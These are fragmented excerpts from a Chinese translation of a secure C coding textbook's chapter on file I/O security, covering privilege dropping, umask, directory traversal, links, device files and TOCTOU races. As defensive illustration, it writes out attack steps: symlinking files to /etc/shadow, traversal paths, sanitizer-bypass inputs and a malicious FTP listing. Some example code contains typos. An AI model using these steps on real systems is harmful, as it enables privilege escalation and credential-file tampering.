    {"text": "要暂时删除一个设置用户ID为root的程序的特权，你可以从EUID中删除特权UID，并把它存储在SSUID中，稍后可以从那里恢复，如例8.3所示。 例8.3 暂时删除权限 1 /* 执行受限制的操作 */ 2 setup_secret(); 3 uid_t uid = /* 非特权用户 */ 4 /* 暂时删除特权的uid */ 5 if (setresuid( -1, uid, geteuid()) < 0) { 6 /* 处理错误 */ 7 } 8 /* 继续进行一般的处理 */ 9 some_other_loop(); 要恢复特权，可以把EUID设置为SSUID，如例8.4所示。 例8.4 恢复特权 01 /* 执行非特权操作 */ 02 some_other_loop(); 03 /* 恢复删除的特权。 04 假设SSUID 是提升的 */ 05 uid_t ruid, euid, suid; 06 if (getresuid(&ruid, &euid, &suid) < 0) { 07 /* 处理错误 */ 08 } 09 if (setresuid(-1, suid, -1) < 0) { 10 /* 处理错误 */ 11 } 12 /* 继续进行特权处理 */ 13 setup_secret(); 要永久删除特权，可以从EUID和SSUID中都删除特权的UID，在这之后将无法恢复提升的特权，如例8.5所示。 例8.5 永久删除特权 01 /* 执行受限制的操作 */ 02 setup_secret(); 03 /* 04 * 永久删除特权。 05 * 假设RUID 无特权 06 */ 07 if (setresuid(getuid(), getuid(), getuid()) < 0) { 08 /* 处理错误 */ 09 } 10 /* 继续进行一般的处理 */ 11 some_other_loop(); setgid（）、setegid（）和setresgid（）函数与setuid（）、seteuid（）、setresuid（）函数有类似的语义，但它们对组ID起作用。"},
    {"text": "有些程序同时设置了执行时设置用户ID位和执行时设置组ID位，但更常见的程序只设置执行时设置组ID位。 如果一个程序同时设置了执行时设置用户ID位和执行时设置组ID位，提升的组特权也必须被删除，如例8.6所示。"},
    {"text": "例8.6 放弃提升的组特权 01 /* 执行受限制的操作 */ 02 setup_secret(); 03 04 uid_t uid = /* 非特权用户 */ 05 gid_t gid = /* 无特权的组 */ 06 /* 暂时删除 uid 和 gid 的特权*/ 07 if (setresgid( -1, gid, getegid()) < 0) { 08 /* 处理错误 */ 09 } 10 if (setresuid( -1, uid, geteuid()) < 0) { 11 /* 处理错误 */ 12 } 13 14 /* 继续进行一般的处理 */ 15 some_other_loop(); 以正确的顺序删除特权很重要。"},
    {"text": "例8.7 以错误的顺序删除权限 1 if (setresuid(-1, uid, geteuid()) < 0) { 2 /* 处理错误 */ 3 } 4 if (setresgid(-1, gid, getegid()) < 0) { 5 /* 将失败，因为 EUID 不再为0! */ 6 } 因为root特权首先被删除，所以这个进程可能没有足够的特权来删除组特权。"},
    {"text": "补充组ID的定义，明确允许集合中要包含EGID，但描述setuid（）和setgid（）函数的措辞规定：“这些函数调用使调用进程的任何补充组ID保持不变。"},
    {"text": "Sendmail是一种具有悠久历史的漏洞的电子邮件路由系统： ·警报（TA06-081A），“Sendmail的竞争条件漏洞”，2006年3月22日 ·CERT报告CA-2003-25，“在Sendmail中的缓冲区溢出”，2003年9月18日 ·CERT报告CA-2003-12，“在Sendmail中的缓冲区溢出”，2003年3月29日 ·CERT报告CA-2003-07，“在Sendmail中的远程缓冲区溢出”，2003年3月3日 ·CERT报告CA-1997-05，“Sendmail版本8.8.3和8.8.4中的MIME转换缓冲区溢出”，1997年1月28日 ·CERT报告CA-1996-25，“Sendmail的组权限漏洞”，1996年12月10日 ·CERT报告CA-1996-24，“Sendmail守护进程模式的漏洞”，1996年11月21日 ·CERT报告CA-1996-20，“Sendmail的漏洞”，1996年9月18日 由于这些历史，现在Sendmail的文件读取或写入模式是颇有讲究的。"},
    {"text": "在大多数情况下，一个安全的目录是指只有所有者用户，或者可能是管理员，才能创建、重命名、删除，或以其他方式处理文件，除此以外的其他用户都不能执行这些操作的目录。"},
    {"text": "这些漏洞经常存在，因为文件名和实际的文件之间存在松散的结合（参见《C安全编码标准》[Seacord 2008]“F1O01-C.调用通过文件名标识文件的函数时必须小心”）。"},
    {"text": "要创建一个安全的目录，必须确保目录和它之上的所有目录都被这个用户或超级用户所拥有，不能被其他用户写入，并且不能被任何其他用户删除或改名。"},
    {"text": "umask可以用于禁用由创建文件时的系统调用指定的权限位。 umask仅适用于文件或目录的创建，它在调用以下函数过程中关闭所提供的模式参数中的权限位：open（）、openat（）、creat（）、mkdir（）、mkdirat（）、mkfifo（）、mkfifoat（）、mknod（）、mknodat（）、mq_open（）、sem_open（）。"},
    {"text": "1 mode_t old_umask = umask(~S_IRUSR); 2 FILE *fout = fopen(\"fred\", \"w\"); 3 /* . . . */ 4 fclose(fout); C标准和POSIX标准都没有指定这两个函数之间的相互作用。"},
    {"text": "例如，如果文件fred不存在，则下面的语句： if (err = fopen_s(&fd, \"fred\", \"w\") != 0) 创建文件fred，该文件只能由当前用户访问。"},
    {"text": "例如，如果文件fred不存在，则下面的语句： fd = open(\"fred\", O_RDWR|O_CREAT|O_EXCL, S_IRUSR); 创建文件fred用于写入并具有用户的读取权限。"},
    {"text": "在POSIX 2008之前，mkstemp（）需要调用umask（）来限制创建权限。 截至POSIX 2008，mkstemp（）函数就像通过下面的open（）一样调用创建文件。 1 open( 2 filename, 3 O_RDWR|O_CREAT|O_EXCL, 4 S_IRUSR|S_IWUSR 5 ) POSIX 2008版本的mkstemp（）函数也被umask（）函数进一步限制了。"},
    {"text": "未知 8.4 文件鉴定 许多与文件相关的安全漏洞由程序访问一个意外的文件对象导致的，因为文件名只松散地与底层的文件对象绑定。文件名没有提供有关文件对象本身性质的信息。此外，每当在操作中使用文件名时，文件名与一个文件对象的绑定都会被重新申请。操作系统把文件描述符和FILE指针绑定到底层文件对象。《C安全编码标准》[Seacord 2008]，“F1O01-C.调用通过文件名标识文件的函数时必须小心”，进一步说明了这个问题。 8.1节“文件I/O基础”，介绍了绝对路径和相对路径名的使用，并同时指出，多个路径名可以解析到同一个文件。执行路径名称解析（path name resolution）把路径名解析为一个在文件层次结构中的特定文件。每个路径名中的文件名都位于其前趋指定的目录中。对于绝对路径名（以斜线开始的路径名），路径名中第一个文件名的前趋是进程的根目录。对于相对路径名，路径名的第一个文件名的前趋是进程的当前工作目录。例如，在路径名称片段a/b中，文件b位于目录a中。如果无法在指定的目录中找到指定名字的文件，那么称路径名解析失败。"},
    {"text": "未知 8.4.1 目录遍历 目录内的特殊文件名“.”指的是目录本身，“..”指的是目录的父目录。作为一种特例，在根目录中，“..”可能指的是根目录本身。在Windows系统上，还可能提供驱动器盘符（例如C:），以及其他特殊文件名，如“...”，它相当于“../..”。 当一个程序对通常由用户提供的路径名进行操作时，若没有进行足够的验证，就会出现目录遍历漏洞。例如，一个程序可能会要求所有操作的文件都只在/home中，但验证一个路径名被解析为一个/home中的文件这项工作比它看起来要棘手。 接受“../”形式的输入而没有适当的验证，会允许攻击者遍历文件系统来访问任意文件。例如，以下路径： /home/../etc/shadow 解析为 /etc/shadow VU#210409[Lanza 2003]中描述了一个现实世界中的漏洞例子，它涉及FTP客户端的一个目录遍历漏洞。攻击者可以通过诱骗受影响的FTP客户端的用户在客户端的文件系统上创建或覆写文件。利用这些漏洞，攻击者必须说服FTP客户端的用户访问一个包含特意制作的文件名的文件的特定FTP服务器。当受影响的FTP客户端尝试下载这些文件之一时，制作的文件名会导致客户端把已下载的文件写入文件名指定的位置，而不是由受害用户指定的位置。例8.8中的FTP会话演示了该漏洞。 例8.8 在FTP会话中的目录遍历漏洞 CLIENT> CONNECT server 220 FTP4ALL FTP server ready. Time is Tue Oct 01, 2002 20:59. Name (server:username): test 331 Password required for test. Password: 230-Welcome, test – Last logged in Tue Oct 01, 2002 20:15 ! CLIENT> pwd 257 \"/\" is current directory. CLIENT> ls -l 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. total 1 -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 ...\\FAKEME5.txt -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 ../../FAKEME2.txt -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 ../FAKEME1.txt -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 ..\\..\\FAKEME4.txt -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 ..\\FAKEME3.txt -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 /tmp/ftptest/FAKEME6.txt -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 C:\\temp\\FAKEME7.txt -rw-r----- 0 nobody nogroup 54 Oct 01 20:10 FAKEFILE.txt -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 misc.txt 226 Directory listing completed. CLIENT> GET *.txt Opening ASCII data connection for FAKEFILE.txt... Saving as \"FAKEFILE.txt\" Opening ASCII data connection for ../../FAKEME2.txt... Saving as \"../../FAKEME2.txt\" Opening ASCII data connection for /tmp/ftptest/FAKEME6.txt... Saving as \"/tmp/ftptest/FAKEME6.txt\" 易受攻击的客户端将在用户的当前工作目录以外保存文件。表8.2列出了一些易受攻击的产品并对易受攻击者指定目录遍历攻击。毫不奇怪的是，易受攻击的客户端，它们都是UNIX客户端，都不易受利用Windows的特定机制的目录遍历攻击手段攻击。 表8.2 易受攻击的产品 注：a.仅使用-nH选项（禁用主机前缀目录） b.在当前目录内创建子目录 c.在当前目录安装文件 许多特权应用程序利用合并用户提供的数据动态地构建路径名。 例如，假设下面的程序片段作为特权进程的一部分执行，以用于一个特定目录中的文件操作。 1 const char *safepath = \"/usr/lib/safefile/\"; 2 size_t spl = strlen(safe_path); 3 if (!strncmp(fn, safe_path, spl) { 4 process_libfile(fn); 5 } 6 else abort(); 如果该程序所需的文件名参数fn来自非受信的来源（如用户），那么攻击者可以提供如下的文件名来绕过这些检查。 /usr/lib/safefiles/../../../etc/shadow 净化机制可以删除用于一个目录遍历攻击的特殊文件名，如“.”和“../”。然而，攻击者可以试图愚弄净化机制而以一种危险的形式清理数据。例如，假设一个攻击者在文件名里面注入了“.”（例如，sensi.tiveFile），而净化机制删除了这个字符，就会产生有效的文件名sensitiveFile。如果输入的数据现在被认为是安全的，那么该文件可能会受到影响。因此，如果净化被不正确地执行，它可能是无效的或危险的。假设replace（）函数在作为第一个参数传递的路径名中用第三个参数替换每次出现的第二个参数，下面是糟糕的消除目录遍历漏洞的数据净化技术的例子。 试图通过下面的调用剥离“../”： path = replace(path, \"../\", \"\"); 导致形式为“....//”的输入被转换为“../”。试图使用下面的顺序调用剥离“../”和“/”： path = replace(path, \"../\", \"\"); path = replace(path, \"./\", \"\"); 导致形式为“.../....///”的输入被转换为“../”。 统一资源定位符（Uniform Resource Locator，URL）可能包含一个主机名和路径名，例如： http://host.name/path/name/file 许多Web服务器使用操作系统来解析路径名。在这种情况下的问题是，“.”和“..”可以被嵌入在URL中。相对路径名也可行，像硬链接和符号链接所做的，这是在本节后面介绍的。"},
    {"text": "未知 8.4.2 等价错误 当一个攻击者提供不同但等效名字的资源来绕过安全检查时，就会发生路径等价漏洞。做到这一点的方式有很多种，其中有许多是经常被忽视的。例如，路径名结尾的文件分隔符可以绕过不期望这个字符的访问规则，从而导致一台服务器提供它通常不会提供的文件。 EServ密码保护的文件访问漏洞（CVE-2002-0112）是等价错误导致的。此漏洞允许攻击者构建一个Web请求，该请求通过在URL中包括特殊文件名“.”，能够访问Web服务器上受保护的目录内容： http://host/./admin/ 它在功能上等价于 http://host/admin/ 但遗憾的是，在这种情况下，它绕过验证。 等价错误的另一大类来自区分大小写的问题。例如，Macintosh HFS+不区分大小写，因此 /home/PRIVATE == /home/private 遗憾的是，Apache的目录访问控制是区分大小写的，因为它是专为UFS设计的（CAN-2001-0766），因此 /home/PRIVATE != /home/private 这是一个因为开发人员假设一个特定的操作系统和文件系统，而并没有考虑到其他操作环境所导致的一个等价错误发生的很好的例子。类似的等价错误涉及苹果文件系统分支。在苹果电脑上，HFS和HFS+是传统的文件系统。在HFS中，数据和资源分支用于存储有关文件的信息。数据分支提供文件的内容，而资源分支存储元数据，如文件类型。在文件系统中用下列方法访问资源分支。 sample.txt/..namedfork/rsrc 在文件系统中用下列方法访问数据分支。 sample.txt/..namedfork/data 此字符串相当于sample.txt，可以被用来在能够识别数据分支的操作系统上绕过访问控制。例如，CVE-2004-1084描述了在苹果的HFS+文件系统上运行的Apache漏洞，远程攻击者能够通过该漏洞直接访问文件数据或资源分支内容。例如，这可能允许攻击者读取PHP、Perl和其他服务器端以脚本语言编写的程序的源代码，导致未经授权的信息泄露。 其他等价的错误包括前导或尾随空白、前导或尾随文件分隔符、内部空格（例如，file□name），或星号通配符（例如，pathname*）。 未知 8.4.3 符号链接 符号链接（symbolic link）是一个方便的解决文件共享的方案。在POSIX的symlink（）系统调用后，符号链接经常称为“符号链接”（symlink）。创建符号链接实际上创建了一个具有独特的i-节点（i-node）的新文件。符号链接是特殊的文件，其中包含了实际文件的路径名。 图8.9说明了一个符号链接的例子。在这个例子中，一个i-节点为1000的目录包含两个文件条目。第一个文件条目为指向i-节点500的fred1.txt，它是包含各种属性和某种数据的一个正常文件。第二个文件条目是fred2.txt，这是指向i-节点1300的一个符号链接文件。符号链接是一个实际的文件，但此文件仅包含一个到另一个文件的引用，该引用存储为用文本表示的路径。了解这种结构对于理解函数在符号链接上的行为非常有用。 如果路径名称解析过程中遇到符号链接，则用符号链接的内容替换链接的名称。例如，一个路径名/usr/tmp，其中tmp是一个指向../var/tmp的符号链接，则它被解析为/usr/../var/tmp，这进一步被解析为/var/tmp。 符号链接上的操作与普通文件操作相似，除非所有下列情况为真：该链接是路径名的最后一个组件，路径名没有尾随斜线，而且函数需要在符号链接本身上起作用。 下面的函数在符号链接文件本身，而不是它引用的文件上操作。 unlink（）删除符号链接文件 lstat（）返回符号链接文件的有关信息 lchown（）更改符号链接文件的用户和组 readlink（）读取指定的符号链接文件的内容 rename（）重命名from参数指定的符号链接，或重写to参数指定的一个符号链接文件 图8.9 符号链接 在2008年1月～2009年3月期间，美国国家漏洞数据库列出了至少177个与符号链接相关的漏洞，这些漏洞允许攻击者创建或删除文件、修改文件的内容或文件的权限[Chari 2009]。例如，假设以一个设置用户ID为root的程序运行下面的代码，它具有有效的root特权。 1 fd = open(\"/home/rcs/.conf\", O_RDWR); 2 if (fd < 0) abort(); 3 write(fd, userbuf, userlen); 还假定，攻击者可以控制在userbuf中存储，并在write（）的调用中写入的数据。攻击者创建了一个从.conf到/etc/shadow认证文件的符号链接： % cd /home/rcs % ln –s /etc/shadow .conf 然后运行有漏洞的程序，它以root身份打开文件进行写入，并把攻击者控制的信息写入到密码文件： % runprog 例如，这种攻击可以用于创建一个新的、没有密码的root账户。然后，攻击者可以使用su命令切换到root账号进行root访问： % su # 无论是善或恶，符号链接都可以是强大的工具。例如，你可以创建任意文件的链接，甚至在看不到的文件系统中，或不存在的文件中创建。符号链接可以链接到跨分区和磁盘边界的文件，并且符号链接在它们所指向的文件已被重命名、移动或删除后继续存在。更改一个符号链接可以更改使用中的应用程序的版本，甚至更改整个网站。 在一个安全的目录如/home/me（主（home）目录在默认情况下通常具有安全权限设置），符号链接攻击不是一个问题。如果在一个共享目录，如/tmp目录中操作，或者如果以提升的权限（例如，以管理员身份运行防病毒程序）在一个不安全的目录中操作，就会面临风险。"},
    {"text": "POSIX的realpath（）函数可以协助把路径名转换为它们的规范形式[ISO/IEC/IEEE 9945:2009]： realpath（）函数应当从file_name指向的路径名得出同名文件的绝对路径，其解析不涉及一个‘.’、‘..’或符号链接。"},
    {"text": "它的设计是有问题的，因为（除非使用非标准的resolved_path ==NULL功能）不可能确定一个输出缓冲区resolved_path的合适大小。 根据POSIX，大小为PATH_MAX的缓冲区就足够了，但PATH_MAX不必是一个定义的常数，并且可能必须使用pathconf（3）来获得。"},
    {"text": "更早版本的POSIX在resolved_name是一个空指针的情况下，允许实现定义的行为。 目前POSIX修订和目前许多实现（包括GNU C库[glibc]和Linux）在一个空指针用于这个参数时，分配内存来保存解析出的名称。 下面的语句可用于有条件地包含依赖于这一修订形式的realpath（）函数的代码： #if _POSIX_VERSION >= 200809L || defined (linux) 因此，尽管有令人震惊的警告，但是给resolved_name赋予NULL值的realpath（）调用是安全的（在支持它的系统上）。"},
    {"text": "当PATH_MAX没有定义为一个常数时，用非空的resolved_path调用realpath（）函数是不安全的。 POSIX.1-2008最终禁止了realpath（）的此种用法[ISO/IEC/IEEE 9945:2009]： 如果resolved_name不是一个空指针且PATH_MAX未在<limits.h>头文件中定义为一个常数，则其行为是未定义的。 来自POSIX.1-2008的理由解释了为什么这种情况是不安全的[ISO/IEC/IEEE 9945:2009]： 由于realpath（）没有长度（length）参数，如果PATH_MAX未在<limits.h>中定义为一个常数，那么应用程序无法确定它们需要分配的缓冲区的大小已安全地传递给realpath（）。 一个从之前的pathconf（）调用得到的PATH_MAX值在realpath（）被调用时已经过时。 因此，当PATH_MAX未在<limits.h>中定义时，唯一可靠的使用realpath（）的方法是为resolved_name传递一个空指针，以便realpath（）能够分配一个所需大小的缓冲区。 PATH_MAX值可能因文件系统而异（这是用pathconf（）而非sysconf（）获得它的原因）。 从之前的pathconf（）调用获得的一个PATH_MAX值可能失效，例如，如果路径中的一个目录被替换为一个到不同的文件系统的符号链接，或如果沿路径的某处挂载了一个新的文件系统。"},
    {"text": "避免基于一个路径名、目录名或文件名做出决策。 特别是，不要因为资源名字而相信它的属性或使用资源的名称用于访问控制。 不要使用文件名，而要使用基于操作系统的机制，如UNIX文件权限、访问控制列表，或其他访问控制技术。"},
    {"text": "Windows中的规范化问题更加复杂，由于Windows命名文件的方法很多，包括通用命名约定（UNC）共享、驱动器映射、短文件名（8.3）、长文件名、Unicode名称、特殊文件、尾随点、正斜线、反斜杠、快捷方式，等等。"},
    {"text": "未知 8.4.5 硬链接 可以使用ln命令创建硬链接。例如，命令 ln /etc/shadow 对shadow文件的i-节点的链接计数器加1，并在当前工作目录创建一个新的目录条目。 硬链接无法与原目录条目区分，但不能引用目录 [1] 或跨文件系统引用。所有权和权限驻留在i节点上，因此链接到相同的i-节点的所有硬链接拥有相同的所有权和权限。图8.10显示了一个硬链接的例子。这个例子包含两个目录，它们的i-节点为1000和854。每个目录都包含一个文件。第一个目录包含fred1.txt，其i-节点是500。第二个目录包含fred2.txt，其i-节点也是500。此图显示了原始文件和一个硬链接有很少的或没有区别，且不可能区分这两者。 图8.10 硬链接 删除硬链接不会删除文件，除非该文件的所有引用都已被删除。引用要么是一个硬链接，要么是一个打开的文件描述符。只有当i节点的链接计数为0时，它才可以被删除（清除数据地址）。图8.11显示了使用硬链接共享的文件。在链接之前（a），所有者C拥有该文件，引用计数为1。创建链接后（b），引用计数递增到2。所有者删除文件后，引用计数减少到1，因为所有者B仍然有一个硬链接指向该文件。有趣的是，原来的所有者不能释放磁盘配额，除非所有的硬链接都被删除。硬链接的这种特性已被用来利用漏洞。例如，在一个多用户系统中，一个恶意用户与系统管理员在大致相同的时间得知该系统上某个有特权的可执行文件有一个漏洞。恶意用户知道系统管理员无疑会删除此可执行文件，并安装该程序的修补版本，他将为此文件创建硬链接。这样，当管理员删除文件时，只删除了指向该文件的链接。然后，恶意用户可以在闲暇时利用该漏洞。这是有经验的系统管理员使用一个安全的删除命令的众多原因之一，该命令除了移除链接还将重写文件（经常多次）。 图8.11 使用硬链接共享文件 表8.3对硬链接和软链接进行了对比。虽然硬链接经常不被视为攻击向量，但它构成自己的一套漏洞，对此必须加以缓解。例如，假设下面的代码运行在一个setuid root的应用中，它具有有效的root特权。 表8.3 硬链接与软链接（符号链接）的对比 1 stat stbl; 2 if (lstat(fname, &stb1) != 0) 3 /* 处理错误*/ 4 if (!S_ISREG(stbl.st_mode)) 5 /* 处理错误*/ 6 fd = open(fname, O_RDONLY); 这一程序中的lstat（）调用的文件收集符号链接文件的信息，而不是引用文件的信息。确定fname引用的文件是否是一个普通文件的测试，将检测出符号链接，但不能检测出硬链接（因为硬链接都是常规文件）。因此，攻击者可以绕过这个检查，读取所有硬链接指向的文件fname的内容。 这个问题的解决方案之一是检查链接计数，以确定该文件是否有一个以上的路径，如下所示。 1 stat stbl; 2 if ( (lstat(fname, &stbl) == 0) && // 文件存在 3 (!S_ISREG(stbl.st_mode)) && // 常规文件 4 (stbl.st_nlink <= 1) ) { // 没有硬链接 5 fd = open(fname, O_RDONLY); 6 } 7 else { 8 /* 处理错误*/ 9 } 但是，此代码也具有一个竞争条件，我们在8.5节中将更详细地研究它。 因为硬链接不能跨越文件系统，另一个缓解敏感文件和用户文件的方法是创建单独的分区。这样做有效地防止了硬链接利用，如链接到/etc/shadow。对于系统管理员，这是个好建议，但开发人员不能假设系统是以这种方式配置的。 [1] 一个值得注意的例外是Mac OS X版本10.5（Leopard）及更新版本，它只把目录硬链接用于Time Machine备份机制。"},
    {"text": "未能检查诸如/dev/mouse、/dev/console、/dev/tty0和/dev/zero等设备的Web浏览器，将允许攻击者创建一个带有如<IMG src=\"file:///dev/mouse\">的图像标记的网站，来锁定用户的鼠标。"},
    {"text": "POSIX定义了O_NONBLOCK标志用于open（），从而确保延迟操作一个文件不会使程序挂起[ISO/IEC/IEEE 9945:2009]： 当以O_RDONLY或O_WRONLY设置打开一个FIFO时： 如果设置了O_NONBLOCK，只读的open（）应毫不迟延地返回。"},
    {"text": "如果目前没有进程打开该文件用于读取，那么只写的open（）将返回一个错误。 如果O_NONBLOCK设置被清除，只读的open（）应阻塞调用线程，直到某个线程打开该文件用于写入。 只写的open（）应阻塞调用线程，直到某个线程打开该文件进行读取。 当打开支持无阻塞打开的块特殊文件或字符特殊文件时： 如果设置了O_NONBLOCK，对于就绪或可供使用的设备，open（）函数将不阻塞地返回。"},
    {"text": "一旦该文件被打开，程序员可以使用POSIX的lstat（）和fstat（）函数来获得一个命名文件的信息，并可以用S_ISREG（）宏来确定是否该文件是一个普通文件。"},
    {"text": "因为对后续调用read（）或write（），O_NONBLOCK的行为是未定义的，最好在已确定所涉及的文件不是一个特殊的设备后停用这个标记，如例8.9所示。"},
    {"text": "例8.9 防止对设备文件的操作 01 #ifdef O_NOFOLLOW 02 #define OPEN_FLAGS O_NOFOLLOW | O_NONBLOCK 03 #else 04 #define OPEN_FLAGS O_NONBLOCK 05 #endif 06 07 /* ... */ 08 09 struct stat orig_st; 10 struct stat open_st; 11 int fd; 12 int flags; 13 char *file_name; 14 15 if ((lstat(file_name, &orig_st) != 0) 16 || (!S_ISREG(orig_st.st_mode))) { 17 /* 处理错误*/ 18 } 19 20 fd = open(file_name, OPEN_FLAGS | O_WRONLY); 21 if (fd == -1) { 22 /* 处理错误*/ 23 } 24 25 if (fstat(fd, &open_st) != 0) { 26 /* 处理错误*/ 27 } 28 29 if ((orig_st.st_mode != open_st.st_mode) || 30 (orig_st.st_ino != open_st.st_ino) || 31 (orig_st.st_dev != open_st.st_dev)) { 32 /* 文件被篡改*/ 33 } 34 35 /* 可选：现在删除O_NONBLOCK 36 * 我们相信这是一个普通文件 37 */ 38 if ((flags = fcntl(fd, F_GETFL)) == -1) { 39 /* 处理错误*/ 40 } 41 42 if (fcntl(fd, F_SETFL, flags & ~O_NONBLOCK) != 0) { 43 /* 处理错误*/ 44 } 45 46 /* 操作文件*/ 47 48 close(fd); 初始的stat（）和O_NONBLOCK都是必要的。 删除stat（）而仅仅依靠O_NONBLOCK是不够的，因为 1.POSIX规定用O_NONBLOCK选项调用open（）不会阻塞“支持非阻塞打开”的设备。 这遗留了打开存在的、不支持非阻塞打开的设备的可能性，在这种情况下，尽管用O_NONBLOCK调用open（），相应的设备还是会被阻塞。"},
    {"text": "如果不执行初始的stat（），且应用程序可以使用/dev/fd/3（或具有相同的主要和次要号码的任何设备文件）作为输出文件的名称，那么fstat（）将报告该文件是一个普通文件，而输出将被写入到数据库中，从而破坏它。"},
    {"text": "对于Windows系统，GetFileType（）函数可以被用来确定该文件是否是一个磁盘文件，如实施例8.10中所示。 例8.10 在Windows中使用GetFileType（） 01 HANDLE hFile = CreateFile( 02 pFullPathName, 0, 0, NULL, OPEN_EXISTING, 0, NULL 03 ); 04 if (hFile == INVALID_HANDLE_VALUE) { 05 /* 处理错误*/ 06 } 07 else { 08 if (GetFileType(hFile) != FILE_TYPE_DISK) { 09 /* 处理错误*/ 10 } 11 /* 操作文件*/ 12 }"},
    {"text": "未知 8.4.7 文件属性 除了文件名，文件通常可以按其他属性来识别，例如，通过比较文件的所有权或创建时间。已经创建和关闭的文件的有关信息可以被存储，然后在文件被重新打开时用于验证文件的识别。比较文件的多个属性增加了重新打开的文件与以前曾操作的文件是相同文件的可能性。 POSIX的stat（）函数可用于获取有关某个文件的信息。下面的例子中，调用stat（）后，在st结构中包含文件“good.txt”的信息： 1 struct stat st; 2 if (stat(\"good.txt\", &st) == -1) { 3 /* 处理错误*/ 4 } fstat（）函数的功能与stat（）类似，但它需要一个文件描述符。你可以使用命令fstat（）收集已经打开的文件的有关信息。lstat（）函数的功能也与stat（）类似，但如果该文件是一个符号链接，那么lstat（）报告链接的信息，而stat（）报告链接指向的文件信息。如果stat（）、fstat（）和lstat（）函数执行成功，它们返回0；如果发生错误，则返回–1。 stat（）所返回的结构至少包括以下成员。 dev_t st_dev；包含文件的设备ID ino_t st_ino；i-节点编号 mode_t st_mode；保护 nlink_t st_nlink；硬链接的数量 uid_t st_uid；所有者的用户ID gid_t st_gid；所有者的组ID dev_t st_rdev；设备ID（如果是特殊文件） off_t st_size；总字节数 blksize_t st_blksize；用于文件系统I/O的块大小 blkcnt_t st_blocks；分配的块数量 time_t st_atime；最后访问时间 time_t st_mtime；最后修改时间 time_t st_ctime；最后状态变更时间 对于与POSIX兼容的系统上的所有文件类型，结构成员st_mtime、st_mode、st_ino、st_dev、st_uid、st_gid、st_atime、st_ctime都应该保存有意义的值。st_ino域包含文件序号。st_dev域标识包含该文件的设备。st_ino和st_dev两者共同唯一标识该文件。但是，重启或系统崩溃后，st_dev值不一定是一致的，因此，如果在尝试重新打开文件前，有系统崩溃或重启，你可能不能够使用此域来识别文件。 如例8.11所示，fstat（）函数也可以用来将st_uid和st_gid的值与实际用户通过getuid（）和getgid（）函数获得的信息相比较。 例8.11 限制文件被拥有它的真正的用户所访问 01 struct stat st; 02 char *file_name; 03 04 /* 初始化 file_name */ 05 06 int fd = open(file_name, O_RDONLY); 07 if (fd == -1) { 08 /* 处理错误*/ 09 } 10 11 if ((fstat(fd, &st) == -1) || 12 (st.st_uid != getuid()) || 13 (st.st_gid != getgid())) { 14 /* 文件不属于用户*/ 15 } 16 17 /*... 从文件中读取...*/ 18 19 close(fd); 20 fd = -1; 通过把文件所有者的用户ID和组ID与进程的实际用户ID和组ID进行匹配，这个程序只限于访问程序的实际用户拥有的文件。此解决方案可以验证该文件的所有者是否是程序期望的，例如，减少攻击者把配置文件替换恶意文件的机会。 可以在《C安全编码标准》[Seacord 2008]，“FIO05-C.使用多个文件属性标识文件”，找到这个问题和其他解决方案的更多信息。 如果应用程序在安全目录中保持其文件，在那里只有文件所有者和（可能）系统管理员可以访问这些文件，那么文件标识就不再是一个问题。 未知 8.5 竞争条件 竞争条件可以产生自受信（trusted）或非受信的（untrusted）控制流。受信的控制流包括同一程序内紧密耦合的执行线程。非受信的控制流是一个单独的、并发执行的应用程序或进程，它们的起源往往是未知的。 任何支持多任务处理共享资源的系统，都具有源自非受信控制流的竞争条件的可能性。文件和目录通常作为竞争对象。一个文件在一段时间内由独立的函数调用打开、读取或写入、关闭，可能重新打开的文件访问序列，容易造成竞争窗口。打开的文件可以被同等的线程共享，而文件系统可以由独立的进程操纵。 在GNU文件实用工具中，曾发现了一个微妙的竞争条件[Purczynski 2002]。软件故障的本质参见例8.12中的代码。这段代码依赖于一个路径为/tmp/a/b/c的目录存在。正如注释所指出，竞争窗口在第4行和第6行之间。如果在这个竞争窗口期间执行以下shell命令，则会构成一个利用： mv /tmp/a/b/c /tmp/c 编写这段代码的程序员假定，第6行会将当前目录设置为/tmp/a/b。然而，如果利用代码成功执行，那么第6行的执行会将当前目录设置为/tmp。当代码继续执行到第8行时，也许会在无意之中删除文件。如果这个进程是以root或其他较高的权限执行的，这就特别危险。 例8.12 GNU实用文件工具（4.1版）中的竞争条件 01 ... 02 chdir(\"/tmp/a\"); 03 chdir(\"b\"); 04 chdir(\"c\"); 05 // 竞争窗口 06 chdir(\"..\"); 07 rmdir(\"c\"); 08 unlink(\"*\"); 09 ..."},
    {"text": "未知 8.5.1 检查时间和使用时间 文件I/O期间可能出现检查时间和使用时间（Time Of Check，Time Of Use，TOCTOU）竞争条件。首先测试（检查）某个竞争对象属性，然后再访问（使用）此竞争对象，TOCTOU竞争条件形成一个竞争窗口。 TOCTOU漏洞可能是首先调用stat（），然后调用open（），或者它可能是一个被打开、写入、关闭，并被一个单独的线程重新打开的文件，或者它也可能是先调用一个access（），然后再调用fopen（），如例8.13所示。在这个例子中，第7行调用access（）函数检查文件是否存在并具有写权限。如果满足这些条件，那么第9行打开该文件用于写入。在这个例子中，access（）函数的调用是检查（check），而fopen（）函数的调用是使用（use）。 例8.13 含有文件打开TOCTOU条件的代码 01 #include <stdio.h> 02 #include <unistd.h> 03 04 int main(void) { 05 FILE *fd; 06 07 if (access(\"a_file\", W_OK) == 0) { 08 puts(\"access granted.\"); 09 fd = fopen(\"a_file\", \"wb+\"); 10 /* 写入文件 */ 11 fclose(fd); 12 } 13 ... 14 return 0; 15 } 在这段代码中的竞争窗口很小—只是在文件已经通过调用access（）测试之后，但在打开它之前的第7～9行之间的代码。在那段时间里，一个外部进程有可能在竞争窗口中用某特权文件的符号链接来取代a_file。例如，这可以由一个单独的（非受信）用户在竞争窗口中执行以下shell命令实现： rm a_file ln –s /etc/shadow a_file 如果该进程以root权限运行，则可以利用有漏洞的代码写入攻击者所选择的任何文件。这个例子中的TOCTOU条件可以用下面方法缓解，把对access（）的调用替换成特权下降到实际UID的逻辑，用fopen（）打开文件并检查，以确保该文件被成功打开。这种方法有效地把检查文件特权和打开文件结合成一个原子操作。Windows 